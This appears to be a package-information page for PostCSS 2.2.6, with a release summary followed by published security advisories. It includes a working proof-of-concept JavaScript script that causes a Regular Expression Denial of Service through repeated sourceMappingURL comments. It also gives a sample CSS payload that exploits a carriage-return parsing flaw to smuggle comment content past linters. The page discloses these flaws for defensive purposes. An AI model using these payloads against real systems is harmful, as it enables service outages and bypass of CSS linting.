PostCSS version 2.2.6 introduces a minor update to this influential CSS post-processing framework, building upon the foundation laid by version 2.2.5. Both versions maintain the core functionality of enabling developers to manipulate CSS with full source map support, a crucial feature for debugging and maintaining large stylesheets. The key dependencies, such as js-base64, remain consistent, ensuring continued compatibility for existing projects. The primary difference lies in an updated dependency for the source-map package, bumping it from version 0.1.39 to 0.1.40. While seemingly small, this update likely incorporates bug fixes and potential performance improvements within source map generation and processing, benefiting developers by offering a more reliable and efficient workflow when working with complex CSS transformations.
The suite of development dependencies, encompassing tools like Gulp, Mocha, and ES6 transpilers, remains unchanged between the two versions. This indicates that the build process and testing infrastructure of PostCSS are stable and consistent, allowing developers contributing to the project to continue using their established workflows. Upgrading from 2.2.5 to 2.2.6 offers a subtle yet important enhancement focused on refining the source map handling within PostCSS, solidifying its position as a go-to tool for modern CSS development and pre-processing. The license is MIT so it is also permissive for any kind of usage.
All the vulnerabilities related to the version 2.2.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.